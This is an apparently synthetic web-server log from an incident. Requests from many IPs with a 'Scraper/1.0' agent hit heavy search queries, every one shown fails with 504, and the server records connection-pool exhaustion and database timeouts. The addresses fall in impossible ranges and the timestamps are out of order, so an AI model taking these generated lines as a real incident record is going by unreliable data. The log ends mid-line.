14:35:36 web-app-nginx 93.121.9.237 - - [15/Aug/2025:14:35:36 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 311 "-" "Scraper/1.0" +Aug 15 14:35:38 web-app-nginx 228.121.239.168 - - [15/Aug/2025:14:35:38 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 281 "-" "Scraper/1.0" +Aug 15 14:35:36 web-app-nginx 32.92.44.186 - - [15/Aug/2025:14:35:36 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 411 "-" "Scraper/1.0" +Aug 15 14:35:36 web-app-nginx 119.252.229.126 - - [15/Aug/2025:14:35:36 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 417 "-" "Scraper/1.0" +Aug 15 14:35:35 web-app-nginx 35.8.210.127 - - [15/Aug/2025:14:35:35 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 197 "-" "Scraper/1.0" +Aug 15 14:35:39 web-app-nginx 156.246.143.250 - - [15/Aug/2025:14:35:39 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 463 "-" "Scraper/1.0" +Aug 15 14:35:39 web-app-nginx 106.187.213.30 - - [15/Aug/2025:14:35:39 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 388 "-" "Scraper/1.0" +Aug 15 14:35:40 web-app-nginx 79.244.183.9 - - [15/Aug/2025:14:35:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 151 "-" "Scraper/1.0" +Aug 15 14:35:41 web-app-nginx 24.65.101.132 - - [15/Aug/2025:14:35:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 311 "-" "Scraper/1.0" +Aug 15 14:35:42 web-app-nginx 72.153.19.99 - - [15/Aug/2025:14:35:42 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 452 "-" "Scraper/1.0" +Aug 15 14:35:43 web-app-nginx 211.80.238.179 - - [15/Aug/2025:14:35:43 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 389 "-" "Scraper/1.0" +Aug 15 14:35:42 web-app-nginx 233.22.130.6 - - [15/Aug/2025:14:35:42 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 230 "-" "Scraper/1.0" +Aug 15 14:35:43 web-app-nginx 210.117.103.173 - - [15/Aug/2025:14:35:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 202 "-" "Scraper/1.0" +Aug 15 14:35:43 web-app-nginx 190.232.114.62 - - [15/Aug/2025:14:35:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 182 "-" "Scraper/1.0" +Aug 15 14:35:43 web-app-nginx 181.107.217.18 - - [15/Aug/2025:14:35:43 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 236 "-" "Scraper/1.0" +Aug 15 14:35:41 web-app-nginx 187.202.89.82 - - [15/Aug/2025:14:35:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 271 "-" "Scraper/1.0" +Aug 15 14:35:40 web-app-nginx 64.101.122.142 - - [15/Aug/2025:14:35:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 168 "-" "Scraper/1.0" +Aug 15 14:35:44 web-app-nginx 52.143.231.123 - - [15/Aug/2025:14:35:44 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 247 "-" "Scraper/1.0" +Aug 15 14:35:40 web-app-nginx 179.63.24.53 - - [15/Aug/2025:14:35:40 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 471 "-" "Scraper/1.0" +Aug 15 14:35:40 web-app-nginx 176.96.251.53 - - [15/Aug/2025:14:35:40 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 389 "-" "Scraper/1.0" +Aug 15 14:35:43 web-app[3456]: ERROR: Maximum execution time of 300 seconds exceeded +Aug 15 14:35:46 web-app-nginx 62.73.205.71 - - [15/Aug/2025:14:35:46 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 248 "-" "Scraper/1.0" +Aug 15 14:35:45 web-app-nginx 66.201.202.209 - - [15/Aug/2025:14:35:45 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 285 "-" "Scraper/1.0" +Aug 15 14:35:48 web-app-nginx 231.116.38.90 - - [15/Aug/2025:14:35:48 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 384 "-" "Scraper/1.0" +Aug 15 14:35:47 web-app-nginx 147.152.21.207 - - [15/Aug/2025:14:35:47 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 403 "-" "Scraper/1.0" +Aug 15 14:35:48 web-app-nginx 75.235.94.21 - - [15/Aug/2025:14:35:48 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 104 "-" "Scraper/1.0" +Aug 15 14:35:47 web-app-nginx 163.80.127.200 - - [15/Aug/2025:14:35:47 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 239 "-" "Scraper/1.0" +Aug 15 14:35:49 web-app-nginx 5.136.229.88 - - [15/Aug/2025:14:35:49 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 167 "-" "Scraper/1.0" +Aug 15 14:35:49 web-app-nginx 60.94.245.248 - - [15/Aug/2025:14:35:49 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 428 "-" "Scraper/1.0" +Aug 15 14:35:45 web-app-nginx 211.246.221.83 - - [15/Aug/2025:14:35:45 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 445 "-" "Scraper/1.0" +Aug 15 14:35:47 web-app-nginx 153.139.248.86 - - [15/Aug/2025:14:35:47 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 471 "-" "Scraper/1.0" +Aug 15 14:35:47 web-app-nginx 155.174.52.188 - - [15/Aug/2025:14:35:47 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 306 "-" "Scraper/1.0" +Aug 15 14:35:48 web-app-nginx 115.208.225.140 - - [15/Aug/2025:14:35:48 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 104 "-" "Scraper/1.0" +Aug 15 14:35:49 web-app-nginx 30.66.26.3 - - [15/Aug/2025:14:35:49 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 461 "-" "Scraper/1.0" +Aug 15 14:35:46 web-app-nginx 58.191.53.151 - - [15/Aug/2025:14:35:46 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 145 "-" "Scraper/1.0" +Aug 15 14:35:48 web-app-nginx 212.231.193.242 - - [15/Aug/2025:14:35:48 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 466 "-" "Scraper/1.0" +2025-08-15T14:35:49.262Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:35:51 web-app-nginx 96.22.225.174 - - [15/Aug/2025:14:35:51 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 239 "-" "Scraper/1.0" +Aug 15 14:35:52 web-app-nginx 213.15.83.27 - - [15/Aug/2025:14:35:52 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 121 "-" "Scraper/1.0" +Aug 15 14:35:54 web-app-nginx 141.30.37.171 - - [15/Aug/2025:14:35:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 272 "-" "Scraper/1.0" +Aug 15 14:35:50 web-app-nginx 172.175.46.59 - - [15/Aug/2025:14:35:50 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 248 "-" "Scraper/1.0" +Aug 15 14:35:53 web-app-nginx 66.211.204.9 - - [15/Aug/2025:14:35:53 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 419 "-" "Scraper/1.0" +Aug 15 14:35:52 web-app-nginx 97.219.201.123 - - [15/Aug/2025:14:35:52 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 327 "-" "Scraper/1.0" +Aug 15 14:35:51 web-app-nginx 34.159.155.36 - - [15/Aug/2025:14:35:51 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 179 "-" "Scraper/1.0" +Aug 15 14:35:52 web-app-nginx 138.106.76.189 - - [15/Aug/2025:14:35:52 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 285 "-" "Scraper/1.0" +Aug 15 14:35:54 web-app-nginx 183.20.33.35 - - [15/Aug/2025:14:35:54 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 154 "-" "Scraper/1.0" +Aug 15 14:35:55 web-app-nginx 109.101.216.81 - - [15/Aug/2025:14:35:55 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 298 "-" "Scraper/1.0" +Aug 15 14:35:57 web-app-nginx 181.58.130.114 - - [15/Aug/2025:14:35:57 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 410 "-" "Scraper/1.0" +Aug 15 14:35:57 web-app-nginx 13.35.220.124 - - [15/Aug/2025:14:35:57 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 236 "-" "Scraper/1.0" +Aug 15 14:35:57 web-app-nginx 71.113.199.157 - - [15/Aug/2025:14:35:57 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 385 "-" "Scraper/1.0" +Aug 15 14:35:55 web-app-nginx 181.175.239.26 - - [15/Aug/2025:14:35:55 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 250 "-" "Scraper/1.0" +Aug 15 14:35:59 web-app-nginx 109.134.214.104 - - [15/Aug/2025:14:35:59 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 218 "-" "Scraper/1.0" +Aug 15 14:35:57 web-app-nginx 161.43.211.20 - - [15/Aug/2025:14:35:57 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 434 "-" "Scraper/1.0" +Aug 15 14:35:58 web-app-nginx 22.190.31.207 - - [15/Aug/2025:14:35:58 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 310 "-" "Scraper/1.0" +Aug 15 14:35:59 web-app[3456]: ERROR: Maximum execution time of 300 seconds exceeded +Aug 15 14:36:04 web-app-nginx 15.147.135.204 - - [15/Aug/2025:14:36:04 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 124 "-" "Scraper/1.0" +Aug 15 14:36:04 web-app-nginx 17.218.97.129 - - [15/Aug/2025:14:36:04 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 229 "-" "Scraper/1.0" +Aug 15 14:36:04 web-app-nginx 72.234.156.142 - - [15/Aug/2025:14:36:04 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 497 "-" "Scraper/1.0" +Aug 15 14:36:01 web-app-nginx 199.71.4.120 - - [15/Aug/2025:14:36:01 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 313 "-" "Scraper/1.0" +Aug 15 14:36:03 web-app-nginx 57.20.198.46 - - [15/Aug/2025:14:36:03 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 138 "-" "Scraper/1.0" +Aug 15 14:36:02 web-app-nginx 18.61.197.172 - - [15/Aug/2025:14:36:02 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 480 "-" "Scraper/1.0" +Aug 15 14:36:03 web-app-nginx 77.98.228.179 - - [15/Aug/2025:14:36:03 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 133 "-" "Scraper/1.0" +Aug 15 14:36:04 web-app-nginx 150.165.243.63 - - [15/Aug/2025:14:36:04 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 179 "-" "Scraper/1.0" +Aug 15 14:36:00 web-app-nginx 200.251.188.55 - - [15/Aug/2025:14:36:00 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 124 "-" "Scraper/1.0" +Aug 15 14:36:07 web-app-nginx 199.98.180.167 - - [15/Aug/2025:14:36:07 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 266 "-" "Scraper/1.0" +Aug 15 14:36:07 web-app-nginx 125.251.219.173 - - [15/Aug/2025:14:36:07 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 157 "-" "Scraper/1.0" +Aug 15 14:36:05 web-app-nginx 77.75.21.2 - - [15/Aug/2025:14:36:05 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 464 "-" "Scraper/1.0" +Aug 15 14:36:09 web-app-nginx 37.3.95.39 - - [15/Aug/2025:14:36:09 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 345 "-" "Scraper/1.0" +Aug 15 14:36:07 web-app-nginx 189.246.204.15 - - [15/Aug/2025:14:36:07 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 103 "-" "Scraper/1.0" +Aug 15 14:36:09 web-app-nginx 246.9.230.180 - - [15/Aug/2025:14:36:09 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 486 "-" "Scraper/1.0" +Aug 15 14:36:09 web-app-nginx 211.132.246.97 - - [15/Aug/2025:14:36:09 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 499 "-" "Scraper/1.0" +Aug 15 14:36:08 web-app-nginx 53.12.89.66 - - [15/Aug/2025:14:36:08 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 144 "-" "Scraper/1.0" +Aug 15 14:36:06 web-app-nginx 204.35.157.129 - - [15/Aug/2025:14:36:06 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 242 "-" "Scraper/1.0" +Aug 15 14:36:05 web-app-nginx 78.84.249.80 - - [15/Aug/2025:14:36:05 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 343 "-" "Scraper/1.0" +Aug 15 14:36:06 web-app-nginx 37.248.103.55 - - [15/Aug/2025:14:36:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 159 "-" "Scraper/1.0" +Aug 15 14:36:06 web-app-nginx 244.64.160.209 - - [15/Aug/2025:14:36:06 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 399 "-" "Scraper/1.0" +Aug 15 14:36:06 web-app-nginx 45.131.74.200 - - [15/Aug/2025:14:36:06 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 383 "-" "Scraper/1.0" +Aug 15 14:36:10 web-app-nginx 17.67.205.231 - - [15/Aug/2025:14:36:10 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 405 "-" "Scraper/1.0" +Aug 15 14:36:12 web-app-nginx 71.161.224.23 - - [15/Aug/2025:14:36:12 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 337 "-" "Scraper/1.0" +Aug 15 14:36:10 web-app-nginx 253.33.244.106 - - [15/Aug/2025:14:36:10 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 454 "-" "Scraper/1.0" +Aug 15 14:36:14 web-app-nginx 242.204.218.176 - - [15/Aug/2025:14:36:14 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 354 "-" "Scraper/1.0" +Aug 15 14:36:12 web-app-nginx 14.95.64.201 - - [15/Aug/2025:14:36:12 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 203 "-" "Scraper/1.0" +Aug 15 14:36:10 web-app-nginx 214.226.58.20 - - [15/Aug/2025:14:36:10 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 450 "-" "Scraper/1.0" +Aug 15 14:36:12 web-app-nginx 50.240.204.142 - - [15/Aug/2025:14:36:12 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 120 "-" "Scraper/1.0" +Aug 15 14:36:12 web-app-nginx 235.7.140.25 - - [15/Aug/2025:14:36:12 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 400 "-" "Scraper/1.0" +Aug 15 14:36:14 web-app[3456]: CRITICAL: Connection pool exhausted +2025-08-15T14:36:14.698Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:36:18 web-app-nginx 50.227.84.235 - - [15/Aug/2025:14:36:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 266 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 231.60.121.201 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 465 "-" "Scraper/1.0" +Aug 15 14:36:19 web-app-nginx 70.70.198.108 - - [15/Aug/2025:14:36:19 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 109 "-" "Scraper/1.0" +Aug 15 14:36:16 web-app-nginx 104.148.182.45 - - [15/Aug/2025:14:36:16 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 149 "-" "Scraper/1.0" +Aug 15 14:36:17 web-app-nginx 186.100.125.162 - - [15/Aug/2025:14:36:17 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 460 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 85.146.89.234 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 420 "-" "Scraper/1.0" +Aug 15 14:36:19 web-app-nginx 141.195.23.69 - - [15/Aug/2025:14:36:19 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 272 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 146.153.224.202 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 314 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 184.192.76.36 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 499 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 3.183.5.162 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 122 "-" "Scraper/1.0" +Aug 15 14:36:18 web-app-nginx 178.112.46.168 - - [15/Aug/2025:14:36:18 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 369 "-" "Scraper/1.0" +Aug 15 14:36:16 web-app-nginx 79.150.106.5 - - [15/Aug/2025:14:36:16 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 251 "-" "Scraper/1.0" +Aug 15 14:36:15 web-app-nginx 112.75.173.211 - - [15/Aug/2025:14:36:15 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 161 "-" "Scraper/1.0" +Aug 15 14:36:18 web-app-nginx 246.195.211.239 - - [15/Aug/2025:14:36:18 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 374 "-" "Scraper/1.0" +Aug 15 14:36:18 web-app-nginx 228.124.104.176 - - [15/Aug/2025:14:36:18 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 231 "-" "Scraper/1.0" +Aug 15 14:36:21 web-app-nginx 198.136.10.187 - - [15/Aug/2025:14:36:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 127 "-" "Scraper/1.0" +Aug 15 14:36:22 web-app-nginx 117.186.239.239 - - [15/Aug/2025:14:36:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 143 "-" "Scraper/1.0" +Aug 15 14:36:21 web-app-nginx 191.104.145.104 - - [15/Aug/2025:14:36:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 288 "-" "Scraper/1.0" +Aug 15 14:36:22 web-app-nginx 184.39.27.88 - - [15/Aug/2025:14:36:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 338 "-" "Scraper/1.0" +Aug 15 14:36:23 web-app-nginx 53.42.60.52 - - [15/Aug/2025:14:36:23 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 262 "-" "Scraper/1.0" +Aug 15 14:36:23 web-app-nginx 121.83.27.196 - - [15/Aug/2025:14:36:23 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 372 "-" "Scraper/1.0" +Aug 15 14:36:22 web-app-nginx 174.201.222.175 - - [15/Aug/2025:14:36:22 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 343 "-" "Scraper/1.0" +Aug 15 14:36:20 web-app-nginx 140.102.253.214 - - [15/Aug/2025:14:36:20 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 385 "-" "Scraper/1.0" +Aug 15 14:36:28 web-app-nginx 196.18.199.166 - - [15/Aug/2025:14:36:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 114 "-" "Scraper/1.0" +Aug 15 14:36:25 web-app-nginx 84.208.12.51 - - [15/Aug/2025:14:36:25 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 480 "-" "Scraper/1.0" +Aug 15 14:36:25 web-app-nginx 10.189.20.204 - - [15/Aug/2025:14:36:25 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 343 "-" "Scraper/1.0" +Aug 15 14:36:29 web-app-nginx 171.172.128.32 - - [15/Aug/2025:14:36:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 465 "-" "Scraper/1.0" +Aug 15 14:36:29 web-app-nginx 44.12.154.208 - - [15/Aug/2025:14:36:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 230 "-" "Scraper/1.0" +Aug 15 14:36:28 web-app-nginx 110.237.117.84 - - [15/Aug/2025:14:36:28 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 264 "-" "Scraper/1.0" +Aug 15 14:36:26 web-app-nginx 101.253.146.21 - - [15/Aug/2025:14:36:26 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 109 "-" "Scraper/1.0" +Aug 15 14:36:27 web-app-nginx 67.184.161.20 - - [15/Aug/2025:14:36:27 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 213 "-" "Scraper/1.0" +Aug 15 14:36:27 web-app-nginx 109.203.129.196 - - [15/Aug/2025:14:36:27 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 393 "-" "Scraper/1.0" +Aug 15 14:36:29 web-app[3456]: ERROR: Database connection timeout +Aug 15 14:36:34 web-app-nginx 93.28.33.19 - - [15/Aug/2025:14:36:34 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 447 "-" "Scraper/1.0" +Aug 15 14:36:34 web-app-nginx 197.30.251.43 - - [15/Aug/2025:14:36:34 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 281 "-" "Scraper/1.0" +Aug 15 14:36:33 web-app-nginx 247.219.121.178 - - [15/Aug/2025:14:36:33 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 385 "-" "Scraper/1.0" +Aug 15 14:36:32 web-app-nginx 187.23.96.156 - - [15/Aug/2025:14:36:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 386 "-" "Scraper/1.0" +Aug 15 14:36:34 web-app-nginx 90.187.54.102 - - [15/Aug/2025:14:36:34 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 104 "-" "Scraper/1.0" +Aug 15 14:36:31 web-app-nginx 139.44.208.96 - - [15/Aug/2025:14:36:31 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 373 "-" "Scraper/1.0" +Aug 15 14:36:30 web-app-nginx 82.93.107.66 - - [15/Aug/2025:14:36:30 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 376 "-" "Scraper/1.0" +Aug 15 14:36:30 web-app-nginx 48.88.150.178 - - [15/Aug/2025:14:36:30 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 339 "-" "Scraper/1.0" +Aug 15 14:36:33 web-app-nginx 83.106.32.193 - - [15/Aug/2025:14:36:33 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 160 "-" "Scraper/1.0" +Aug 15 14:36:33 web-app-nginx 39.24.77.148 - - [15/Aug/2025:14:36:33 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 218 "-" "Scraper/1.0" +Aug 15 14:36:30 web-app-nginx 61.48.77.87 - - [15/Aug/2025:14:36:30 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 165 "-" "Scraper/1.0" +Aug 15 14:36:37 web-app-nginx 242.250.63.209 - - [15/Aug/2025:14:36:37 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 475 "-" "Scraper/1.0" +Aug 15 14:36:35 web-app-nginx 60.202.242.1 - - [15/Aug/2025:14:36:35 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 496 "-" "Scraper/1.0" +Aug 15 14:36:36 web-app-nginx 117.238.55.139 - - [15/Aug/2025:14:36:36 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 324 "-" "Scraper/1.0" +Aug 15 14:36:38 web-app-nginx 198.248.136.37 - - [15/Aug/2025:14:36:38 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 462 "-" "Scraper/1.0" +Aug 15 14:36:37 web-app-nginx 242.26.20.119 - - [15/Aug/2025:14:36:37 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 479 "-" "Scraper/1.0" +Aug 15 14:36:37 web-app-nginx 66.25.190.68 - - [15/Aug/2025:14:36:37 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 405 "-" "Scraper/1.0" +Aug 15 14:36:36 web-app-nginx 93.233.111.136 - - [15/Aug/2025:14:36:36 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 309 "-" "Scraper/1.0" +Aug 15 14:36:39 web-app-nginx 105.20.37.1 - - [15/Aug/2025:14:36:39 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 268 "-" "Scraper/1.0" +Aug 15 14:36:35 web-app-nginx 75.111.162.112 - - [15/Aug/2025:14:36:35 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 229 "-" "Scraper/1.0" +Aug 15 14:36:37 web-app-nginx 124.131.15.131 - - [15/Aug/2025:14:36:37 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 334 "-" "Scraper/1.0" +Aug 15 14:36:37 web-app-nginx 249.216.205.147 - - [15/Aug/2025:14:36:37 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 267 "-" "Scraper/1.0" +Aug 15 14:36:36 web-app-nginx 73.228.143.210 - - [15/Aug/2025:14:36:36 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 322 "-" "Scraper/1.0" +2025-08-15T14:36:39.510Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:36:44 web-app-nginx 175.227.252.161 - - [15/Aug/2025:14:36:44 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 302 "-" "Scraper/1.0" +Aug 15 14:36:41 web-app-nginx 130.34.235.25 - - [15/Aug/2025:14:36:41 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 487 "-" "Scraper/1.0" +Aug 15 14:36:43 web-app-nginx 193.219.76.55 - - [15/Aug/2025:14:36:43 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 373 "-" "Scraper/1.0" +Aug 15 14:36:42 web-app-nginx 146.131.59.88 - - [15/Aug/2025:14:36:42 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 367 "-" "Scraper/1.0" +Aug 15 14:36:40 web-app-nginx 161.205.104.98 - - [15/Aug/2025:14:36:40 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 260 "-" "Scraper/1.0" +Aug 15 14:36:42 web-app-nginx 143.69.123.217 - - [15/Aug/2025:14:36:42 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 231 "-" "Scraper/1.0" +Aug 15 14:36:40 web-app-nginx 108.49.16.248 - - [15/Aug/2025:14:36:40 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 